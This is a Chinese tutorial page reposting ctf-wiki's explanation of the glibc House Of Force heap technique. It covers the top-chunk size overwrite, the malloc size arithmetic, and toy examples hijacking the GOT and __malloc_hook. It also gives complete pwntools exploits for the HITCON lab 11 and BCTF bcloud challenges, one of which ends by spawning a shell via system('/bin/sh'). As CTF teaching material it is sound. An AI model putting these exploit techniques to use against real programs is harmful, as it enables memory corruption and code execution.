ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

ctf-wiki 堆利用系列:House Of Force 原理、chunk 尺寸计算与实战

ctf-wiki 堆利用系列:House Of Force 原理、chunk 尺寸计算与实战 文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载House Of Force下称 HOF是 glibc ptmalloc2 堆利用技术中经典的一类其核心是篡改 top chunk 的 size 域后通过一次超大或负数尺寸的 malloc 将 top chunk 指针搬移到攻击者期望的内存位置从而把后续堆块分配到任意地址实现一次任意地址写。本篇基于 ctf-wiki 仓库中 house-of-force.md 的讲解结合仓库内堆数据结构与_int_malloc源码给出原理级分析、两次 malloc 尺寸的手工推导方法以及 HITCON training lab 11 与 2016 BCTF bcloud 两道真实题目的完整利用链与 exp读完即可独立复现并迁移到同类题目。背景House Of XXX 系列与《The Malloc Maleficarum》House Of Force 属于 House Of XXX 系列利用方法。该系列命名源自 2004 年发表的《The Malloc Maleficarum - Glibc Malloc Exploitation Techniques》文中系统提出了针对 glibc 堆分配器的一系列利用手法。需要注意的是由于年代久远文中提出的大多数方法在现代 glibc 上已不能直接奏效如今所指的 House Of XXX 利用相比 2004 年原文已有较大差异但该文章依然是理解堆利用思想脉络的推荐读物。与 House Of Force 同属一个系列的还有本仓库中其他文档覆盖的 House Of Einherjar、House Of Lore、House Of Orange、House Of Rabbit、House Of Roman、House Of Pig 等它们共同构成了 ptmalloc2 堆利用的House 家族。原理top chunk 的搬运工两个前提条件HOF 是一种堆利用方法但它并不必然基于堆溢出——任何能达成以下两点的漏洞堆溢出、任意长度读取、负数长度等都可以套用能够以溢出等方式控制到 top chunk 的 size 域能够自由控制堆分配尺寸的大小。从 top chunk 分割的内存分配逻辑根据 heap-structure.md 中关于 Top Chunk 的介绍top chunk 是当前堆中物理地址最高的 chunk不属于任何 bin当所有 bin 都无法满足请求时若其大小不小于请求大小就直接从 top chunk 中切出所需部分剩余部分成为新的 top chunk。在 implementation/malloc.md 的_int_malloc中use_top分支的源码如下// 獲取當前的top chunk並計算其對應的大小 victim av-top; size chunksize(victim); // 如果在分割之後其大小仍然滿足 chunk 的最小大小那麼就可以直接進行分割。 if ((unsigned long) (size) (unsigned long) (nb MINSIZE)) { remainder_size size - nb; remainder chunk_at_offset(victim, nb); av-top remainder; set_head(victim, nb | PREV_INUSE | (av ! main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, victim, nb); void *p chunk2mem(victim); alloc_perturb(p, bytes); return p; }关键校验只有一行(unsigned long) (size) (unsigned long) (nb MINSIZE)其中nb是checked_request2size规范化后的 chunk 大小MINSIZE是最小可分配 chunk 大小与MIN_CHUNK_SIZE对齐后一致64 位下为 0x20。如果攻击者能把 top chunk 的size篡改为一个极大值该校验必然通过于是分配器会无条件执行remainder chunk_at_offset(victim, nb); av-top remainder; /* Treat space at ptr offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) (s)))chunk_at_offset只是简单的指针加法即av-top会被更新为原top nb。由于nb可以是一个经过无符号化转换的负数巨大正数top chunk 指针可以被搬运到攻击者指定的任何地址。此后下一次 malloc 返回的堆块就落在该地址用户只要控制写入内容就实现了write-anything-anywhere任意地址写任意值。把 size 改成 -1 的经典做法size在比较时被转换为无符号数因此把 top chunk 的 size 改为-1即补码全 164 位下为0xffffffffffffffff就等于unsigned long中的最大值无论请求多大都可以通过上述校验。这就是为什么几乎所有 HOF 利用的第一步都是把 top chunk 的 size 写成 -1。别忘了更新后的 top chunk size 校验_int_malloc中set_head(remainder, remainder_size | PREV_INUSE)会给新 top chunk 写入新的 size即size - nb。因此如果要让下一次 malloc 在指定位置成功分配大小为 x 的 chunk必须保证新的 remainder_size 不小于 x MINSIZE。否则下一次分配会因size nb MINSIZE而走sysmalloc扩展堆的路径利用即失败。这也是实战中需要精确计算第二次 malloc 尺寸的原因之一。简单示例 1向下搬运 top chunk 篡改 mallocgot.plt以下示例演示通过 HOF 让 top chunk指向低地址向上方、GOT 表方向目标是改写mallocgot.plt劫持程序流程int main() { long *ptr,*ptr2; ptrmalloc(0x10); ptr(long *)(((long)ptr)24); *ptr-1; // 这里把top chunk的size域改为0xffffffffffffffff malloc(-4120); // 减小top chunk指针 malloc(0x10); // 分配块实现任意地址写 }第一步分配 0x10 并篡改 top chunk size初始堆布局ptr指向用户区首地址即 chunk 头 0x100x602000: 0x0000000000000000 0x0000000000000021 ptr 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 top chunk 0x602030: 0x0000000000000000 0x0000000000000000ptr 24恰好落在 top chunk 的 size 域ptr用户区偏移 0x10chunk 头两个 8 字节字段之后写入-1即0xffffffffffffffff。真实题目中这一步由堆溢出等漏洞完成0x602000: 0x0000000000000000 0x0000000000000021 ptr 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0xffffffffffffffff top chunk size域被更改 0x602030: 0x0000000000000000 0x0000000000000000此时 main_arena 中记录的 top 指针仍为0x6020200x7ffff7dd1b70 main_arena80: 0x0000000000000000 0x0000000000602020 top chunk此时一切正常第二步为什么 malloc(-4120)目标地址本例编译后mallocgot.plt位于0x6010200x601020: 0x00007ffff7a91130。要让下一次分配落在 GOT 上应把 top chunk 指向0x601010chunk2mem(victim) victim 0x10分配返回的用户指针才会是0x601020。偏移计算0x601010 - 0x602020 -4112用户传入 malloc 的字节数进入__libc_malloc(size_t bytes)后即变成无符号整数再经checked_request2size转换为内部 chunk 大小nb。相关宏见 heap-structure.md#define REQUEST_OUT_OF_RANGE(req) \ ((unsigned long) (req) (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE)) #define request2size(req) \ (((req) SIZE_SZ MALLOC_ALIGN_MASK MINSIZE) \ ? MINSIZE \ : ((req) SIZE_SZ MALLOC_ALIGN_MASK) ~MALLOC_ALIGN_MASK) #define checked_request2size(req, sz) \ if (REQUEST_OUT_OF_RANGE(req)) { \ __set_errno(ENOMEM); \ return 0; \ } \ (sz) request2size(req);推导分两步绕过REQUEST_OUT_OF_RANGE传给 malloc 的负数无符号化后不得大于-2 * MINSIZE对应的无符号值即负值大小不能超过2 * MINSIZE。通常都能满足。让request2size恰好转换出 -4112即令((req) SIZE_SZ MALLOC_ALIGN_MASK) ~MALLOC_ALIGN_MASK -4112。由于 -4112 已按 16 字节64 位MALLOC_ALIGNMENT 2 * SIZE_SZ 16对齐只需减去SIZE_SZ8 字节即可多减的MALLOC_ALIGN_MASK会被对齐操作消化。因此-4112 - 8 -4120即malloc(-4120)。若目标偏移不是 MALLOC_ALIGN 对齐的就需要多减一些同时最好保证分配后得到的 chunk 是对齐的因为释放 chunk 时会做对齐检查。执行malloc(-4120)后main_arena 中的 top 被抬高实为搬移到低地址0x7ffff7dd1b70 main_arena80: 0x0000000000000000 0x0000000000601010 可以观察到top chunk被抬高第三步分配 0x10 改写 GOT再次malloc(0x10)返回的指针在0x601010 0x10 0x601020即mallocgot.plt所在处此后写入的内容即为新的 GOT 项。注意在 top chunk 被搬运的同时set_head(victim, nb | PREV_INUSE | (av ! main_arena ? NON_MAIN_ARENA : 0))会在0x601010处写入 chunk 头即 mallocgot 附近的低 8 字节内容也会被修改设计 payload 时要预留这个影响。简单示例 2向上搬运 top chunk 篡改 __malloc_hookHOF 不仅能向上低地址移动 top chunk也可以增大 top chunk 指针使其指向高地址空间从而改写位于高地址的 libc 全局变量。本例目标是__malloc_hookint main() { long *ptr,*ptr2; ptrmalloc(0x10); ptr(long *)(((long)ptr)24); *ptr-1; 修改top chunk size malloc(140737345551056); 增大top chunk指针 malloc(0x10); }程序代码与示例 1 基本相同唯一差别是第二次 malloc 的尺寸。先看内存布局libc-2.23 环境Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/桌面/tst/t1 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/桌面/tst/t1 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/桌面/tst/t1 0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap] 0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so ... 0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so堆基址0x602000libc 基址0x7ffff7a0d000__malloc_hook位于0x7ffff7dd1b10。计算0x7ffff7dd1b00 - 0x602020 - 0x10 140737345551056即把 top chunk 搬到0x7ffff7dd1b00再次分配时用户指针即0x7ffff7dd1b10__malloc_hook。执行后 main_arena0x7ffff7dd1b70 main_arena80: 0x0000000000000000 0x00007ffff7dd1b00 top chunk随后第三次malloc(0x10)即可控制0x7ffff7dd1b10处的__malloc_hook调试可见rax 0x00007ffff7dd1b10程序调用mallocplt时先检查 hook将其改写为 one_gadget 或 system 等即可劫持执行流。小结HOF 的苛刻前提综合两个示例可以发现HOF 利用条件相当苛刻首先需要存在漏洞使得用户能够控制 top chunk 的 size 域其次需要用户能自由控制 malloc 的分配大小这是最关键的一点CTF 题目常常限制分配尺寸的上下限来阻断 HOF第三分配的次数不能受限制至少要能完成改 size → 搬运 top → 写目标三次分配。其中第二点往往最难满足因此现代 CTF 出题人常通过限制最小/最大分配大小来直接封死 HOF。实战一HITCON training lab 11bamboobox基本信息➜ hitcontraning_lab11 git:(master) file bamboobox bamboobox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]595428ebf89c9bf7b914dd1d2501af50d47bbbe1, not stripped ➜ hitcontraning_lab11 git:(master) checksec bamboobox [*] /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/house_of_force/hitcontraning_lab11/bamboobox Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)64 位动态链接程序Partial RELROGOT 可写、无 PIE。该程序为演示程序内置一个magic函数可直接读取 flag。基本功能与漏洞点程序启动时先申请了0x10字节内存用来存放两个函数指针hello_message程序开始时调用与goodbye_message程序结束时调用。主要功能展示盒子依次打印每个物品的名字添加物品按用户输入的大小为物品申请存储名字的空间。读取名字用read长度参数为用户输入的v2而read第三参数是无符号整数——输入负数即可读取任意长度需满足REQUEST_OUT_OF_RANGE约束构成任意长度堆溢出。但第一次利用较难因为初始 top chunk 通常不够大修改物品按索引与用户指定长度向指定物品写入同样存在任意长度堆溢出删除物品将物品名字大小置 0、content 置 NULL。利用思路目标是覆盖goodbye_message指针为magic地址从而在程序退出时控制执行流添加物品利用堆溢出漏洞覆盖 top chunk 的 size 为-164 位最大值利用 House Of Force 技巧分配 chunk 至堆的基地址覆盖goodbye_message为magic函数地址来控制程序执行流。注意触发 top chunk 转移到指定位置时使用的尺寸要合适以便设置新的 top chunk 大小从而绕过下一次从 top chunk 分配时的size nb MINSIZE检测。exp#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * r process(./bamboobox) context.log_level debug def additem(length, name): r.recvuntil(:) r.sendline(2) r.recvuntil(:) r.sendline(str(length)) r.recvuntil(:) r.sendline(name) def modify(idx, length, name): r.recvuntil(:) r.sendline(3) r.recvuntil(:) r.sendline(str(idx)) r.recvuntil(:) r.sendline(str(length)) r.recvuntil(:) r.sendline(name) def remove(idx): r.recvuntil(:) r.sendline(4) r.recvuntil(:) r.sendline(str(idx)) def show(): r.recvuntil(:) r.sendline(1) magic 0x400d49 # we must alloc enough size, so as to successfully alloc from fake topchunk additem(0x30, ddaa) # idx 0 payload 0x30 * a # idx 0s content payload a * 8 p64(0xffffffffffffffff) # top chunks prev_size and size # modify topchunks size to -1 modify(0, 0x41, payload) # top chunks offset to heap base offset_to_heap_base -(0x40 0x20) malloc_size offset_to_heap_base - 0x8 - 0xf #gdb.attach(r) additem(malloc_size, dada) additem(0x10, p64(magic) * 2) print r.recv() r.interactive()说明offset_to_heap_base -(0x40 0x20)是当前 top chunk 到堆基址的偏移0x30 物品块 0x10 函数指针块malloc_size再减0x8SIZE_SZ与0xfMALLOC_ALIGN_MASK完成request2size反推。最后additem(0x10, p64(magic) * 2)将堆基址处的两个函数指针含goodbye_message都写成 magic 地址程序退出时即可 get flag。该题亦可改用 unlink 方法完成。实战二2016 BCTF bcloud基本信息➜ 2016_bctf_bcloud git:(master) file bcloud bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped ➜ 2016_bctf_bcloud git:(master) checksec bcloud [*] /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/house_of_force/2016_bctf_bcloud/bcloud Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)动态链接的 32 位程序开启 Canary 与 NX无 PIE、Partial RELRO。这是一个云笔记管理系统初始化时设置用户的名字、组织与 host之后提供五个功能新建 note按输入 x 申请 x4 空间、展示 note、编辑 note、删除 note、同步 note。漏洞点初始化函数五个主功能中并无明显漏洞真正的漏洞在初始化阶段。init_name中若读入名字恰好 64 字符则info输出字符串时会把tmp指针堆地址一并输出泄露堆基址unsigned int init_name() { char s; // [esp1Ch] [ebp-5Ch] char *tmp; // [esp5Ch] [ebp-1Ch] unsigned int v3; // [esp6Ch] [ebp-Ch] v3 __readgsdword(0x14u); memset(s, 0, 0x50u); puts(Input your name:); read_str(s, 64, \n); tmp (char *)malloc(0x40u); name tmp; strcpy(tmp, s); info(tmp); return __readgsdword(0x14u) ^ v3; }init_org_host中v2是与 top chunk 相邻的 chunk、且与 org 相邻32 位程序中几乎不会出现\x00因此向v2执行strcpy拷贝时很可能连带覆盖 top chunkunsigned int init_org_host() { char s; // [esp1Ch] [ebp-9Ch] char *v2; // [esp5Ch] [ebp-5Ch] char v3; // [esp60h] [ebp-58h] char *v4; // [espA4h] [ebp-14h] unsigned int v5; // [espACh] [ebp-Ch] v5 __readgsdword(0x14u); memset(s, 0, 0x90u); puts(Org:); read_str(s, 64, 10); puts(Host:); read_str(v3, 64, 10); v4 (char *)malloc(0x40u); v2 (char *)malloc(0x40u); org v2; host v4; strcpy(v4, v3); strcpy(v2, s); puts(OKay! Enjoy:)); return __readgsdword(0x14u) ^ v5; }利用链利用init_name处漏洞泄漏堆基址利用 House Of Force 将 top chunk 分配至全局0x0804B0A0的notesize - 8处再次申请即返回 notesize 地址处的内存从而控制所有 note 的大小与对应地址指针修改前三个 note 大小为 16修改其指针为freegot、atoigot、atoigot将freegot修改为putsplt触发 fake free 泄漏atoi地址计算 libc 基址将另一个atoigot修改为system地址输入/bin/sh拿到 shell。expfrom pwn import * context.terminal [gnome-terminal, -x, sh, -c] if args[DEBUG]: context.log_level debug context.binary ./bcloud bcloud ELF(./bcloud) if args[REMOTE]: p remote(127.0.0.1, 7777) else: p process(./bcloud) log.info(PID: str(proc.pidof(p)[0])) libc ELF(./libc.so.6) def offset_bin_main_arena(idx): word_bytes context.word_size / 8 offset 4 # lock offset 4 # flags offset word_bytes * 10 # offset fastbin offset word_bytes * 2 # top,last_remainder offset idx * 2 * word_bytes # idx offset - word_bytes * 2 # bin overlap return offset def exp(): # leak heap base p.sendafter(Input your name:\n, a * 64) p.recvuntil(Hey a * 64) # sub names chunk s header heap_base u32(p.recv(4)) - 8 log.success(heap_base: hex(heap_base)) p.sendafter(Org:\n, a * 64) p.sendlineafter(Host:\n, p32(0xffffffff)) # name,org,host, for each is (0x408) topchunk_addr heap_base (0x40 8) * 3 # make topchunk point to 0x0804B0A0-8 p.sendlineafter(option---, 1) notesize_addr 0x0804B0A0 notelist_addr 0x0804B120 targetaddr notesize_addr - 8 offset_target_top targetaddr - topchunk_addr # 4 for size_t, 7 for malloc_allign malloc_size offset_target_top - 4 - 7 # plus 4 because malloc(v2 4); p.sendlineafter(Input the length of the note content:\n, str(malloc_size - 4)) # most likely malloc_size-40... if malloc_size - 4 0: p.sendlineafter(Input the content:\n, ) #gdb.attach(p) # set notesize[0] notesize[1] notesize[2]16 # set notelist[0] freegot, notelist[1] notelist[2]atoigot p.sendlineafter(option---, 1) p.sendlineafter(Input the length of the note content:\n, str(1000)) payload p32(16) * 3 (notelist_addr - notesize_addr - 12) * a p32( bcloud.got[free]) p32(bcloud.got[atoi]) * 2 p.sendlineafter(Input the content:\n, payload) # overwrite freegot with putsplt p.sendlineafter(option---, 3) p.sendlineafter(Input the id:\n, str(0)) p.sendlineafter(Input the new content:\n, p32(bcloud.plt[puts])) # leak atoi addr by fake free p.sendlineafter(option---, 4) p.sendlineafter(Input the id:\n, str(1)) atoi_addr u32(p.recv(4)) libc_base atoi_addr - libc.symbols[atoi] system_addr libc_base libc.symbols[system] log.success(libc base addr: hex(libc_base)) # overwrite atoigot with system p.sendlineafter(option---, 3) p.sendlineafter(Input the id:\n, str(2)) p.sendlineafter(Input the new content:\n, p32(system_addr)) # get shell p.sendlineafter(option---, /bin/sh\x00) p.interactive() if __name__ __main__: exp()要点32 位下SIZE_SZ 4所以request2size反推时减去4 7SIZE_SZ MALLOC_ALIGN_MASK程序新建 note 时申请的是x 4因此发送的尺寸还要再减 4。offset_bin_main_arena用于在需要时计算指定 bin 相对 main_arena 的偏移。延伸与相关题目House Of Force 在现代 glibc引入 tcache、以及后续对 top chunk size 校验加强的版本中已逐步失效但其通过篡改元数据 超大负数请求搬移 top 指针的思想仍是理解堆分配器内部状态机的绝佳教材。仓库中 heap-structure.md 提供了malloc_chunk、MINSIZE、request2size、chunk_at_offset等全部相关宏的完整定义implementation/malloc.md 给出了_int_malloc从 fastbin/smallbin/largebin/unsorted 一路到use_top的完整分配路径是深入理解本技巧的配套阅读材料。同系列题目中2016 Boston Key Party CTF 的 cookbookpwn 方向分值 6也以 HOF 为核心考点可在理解上述两道题后作为进阶练习自行复现。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐终极窗口尺寸强制调整工具3分钟掌握任何窗口的完全控制权终极窗口尺寸强制调整工具3分钟掌握任何窗口的完全控制权 你是否曾经遇到过那些顽固不化的应用程序窗口那些无法拖拽、固定尺寸的窗口是否总是打乱你的工作节奏文档网络安全教程WorkshopDL 完全教程免登录、免费把 Steam 创意工坊模组拉到本地零基础 4 步跑通第一遍WorkshopDL 完全教程免登录、免费把 Steam 创意工坊模组拉到本地零基础 4 步跑通第一遍 凌晨一点半游戏在 Epic 领过、本体躺在 Epi文档网络安全教程Outfit字体9种字重开源几何字体助力品牌设计高效实现Outfit字体9种字重开源几何字体助力品牌设计高效实现 Outfit字体作为一套专业的开源几何无衬线字体专为品牌自动化公司设计提供从纤细到粗壮的完整9种文档网络安全教程上一篇【热门开源项目下载】IssueSolutionDemos下一篇Hyperf开发者工具集Devtool组件的终极使用指南创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表